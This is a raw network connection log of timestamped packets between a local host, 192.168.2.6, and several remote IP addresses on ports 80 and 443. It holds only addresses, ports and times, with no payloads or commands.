Oct 30, 2024 15:59:36.584950924 CET	443	49753	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.585292101 CET	443	49753	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.585618019 CET	49753	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.585688114 CET	443	49753	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.585788965 CET	49753	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.612848043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.612881899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.612889051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.612967968 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.613003969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.613010883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.613042116 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.613076925 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.613084078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.613095999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.613117933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.613141060 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.613188028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.613269091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.613275051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.613277912 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.613281965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.613298893 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.613318920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.614013910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.614063025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.631333113 CET	443	49753	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.648727894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.648736000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.648747921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.648797035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.663502932 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.664343119 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.664360046 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.665061951 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.665066957 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.680421114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.680437088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.680443048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.680504084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.681090117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681107998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681113958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681138992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.681155920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.681219101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681268930 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.681303978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681308985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681343079 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.681431055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681437016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681473017 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.681602955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681649923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681655884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681694984 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.681839943 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681925058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681931019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.681972027 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.682126045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.682166100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.682182074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.682188034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.682223082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.716078997 CET	443	49753	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.716134071 CET	443	49753	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.716203928 CET	49753	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.717502117 CET	49753	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.717515945 CET	443	49753	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.719755888 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.719788074 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.719808102 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.719842911 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:36.719858885 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.719883919 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:36.719904900 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:36.728315115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.728329897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.728334904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.728363991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.728385925 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.728414059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.728420973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.728454113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.728548050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.728554010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.728559017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.728586912 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.728611946 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.728971004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.729011059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.729018927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.729043007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.729084969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.729119062 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.729132891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.729140043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.729168892 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.729212046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.729250908 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.764270067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.764287949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.764293909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.764345884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.791142941 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.791547060 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.791558981 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.791920900 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.792258024 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.792335033 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.792433023 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.793205976 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.793265104 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.793445110 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.793911934 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.793931007 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.793941975 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.793947935 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.795918941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.795941114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.795945883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.796008110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.796564102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.796603918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.796610117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.796653986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.796730995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.796736956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.796744108 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.796777964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.797291994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797307968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797311068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797317028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797327042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797333956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797346115 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.797377110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.797382116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797389030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797424078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.797828913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797900915 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.797961950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797966957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.797979116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.798010111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.798233032 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.798253059 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.798310995 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.798505068 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.798517942 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.838382959 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.838419914 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.838459015 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:36.838473082 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.838507891 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:36.838515043 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.838608980 CET	49751	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:36.838625908 CET	443	49751	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:36.839324951 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.843734980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.843781948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.843792915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.843846083 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.843904018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844048023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844069958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844090939 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844095945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844095945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.844101906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844115973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.844137907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.844470024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844526052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844532013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844552040 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.844568968 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.844609022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844614983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.844654083 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.879745960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.879753113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.879757881 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.879807949 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.909185886 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.910140038 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.910181999 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.910814047 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.910829067 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.911375999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.911438942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.911693096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.911828995 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.912107944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912112951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912158012 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.912178993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912228107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912233114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912245989 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912277937 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.912583113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912631035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.912637949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912642956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912676096 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.912900925 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912914991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912925005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.912962914 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.912997961 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.913408995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.913414001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.913424969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.913429976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.913435936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.913446903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.913461924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.913495064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.913719893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.913726091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.913737059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.913781881 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.955744028 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.956269026 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.956285000 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.956865072 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:36.956870079 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:36.959316969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.959331989 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.959336996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.959359884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.959379911 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.959388018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.959441900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.959573030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.959626913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.959631920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.959645033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.959677935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.959706068 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.959750891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.959795952 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.960005045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.960066080 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.960076094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.960082054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.960093021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.960119009 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.960141897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.960175037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.960233927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:36.995234013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.995242119 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.995254040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:36.995318890 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.027678967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.027699947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.027709961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.027740002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.027786970 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.027796030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.027805090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.027813911 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.027838945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.027904987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.027909994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.027959108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.028331041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.028357029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.028366089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.028418064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.028590918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.028597116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.028601885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.028691053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.028851032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.028892040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.028897047 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.028943062 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.028949976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.029011011 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.029278040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.029319048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.029344082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.029393911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.029412985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.029418945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.029436111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.029467106 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.040841103 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.040884972 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.040960073 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.040967941 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.041038036 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.042010069 CET	49744	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.042026997 CET	443	49744	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.046812057 CET	49764	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.046880960 CET	443	49764	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.046983004 CET	49764	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.047137976 CET	49764	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.047173023 CET	443	49764	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.074855089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.074877024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.074887037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.074948072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.074954033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.074960947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075005054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.075149059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075154066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075196028 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.075263023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075277090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075282097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075320959 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.075335026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.075530052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075535059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075572014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.075656891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075697899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075704098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075723886 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.075756073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.075778008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075786114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.075826883 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.086055994 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.086082935 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.086119890 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.086133003 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.086165905 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.086497068 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.086514950 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.086524963 CET	49758	443	192.168.2.6	13.107.246.45
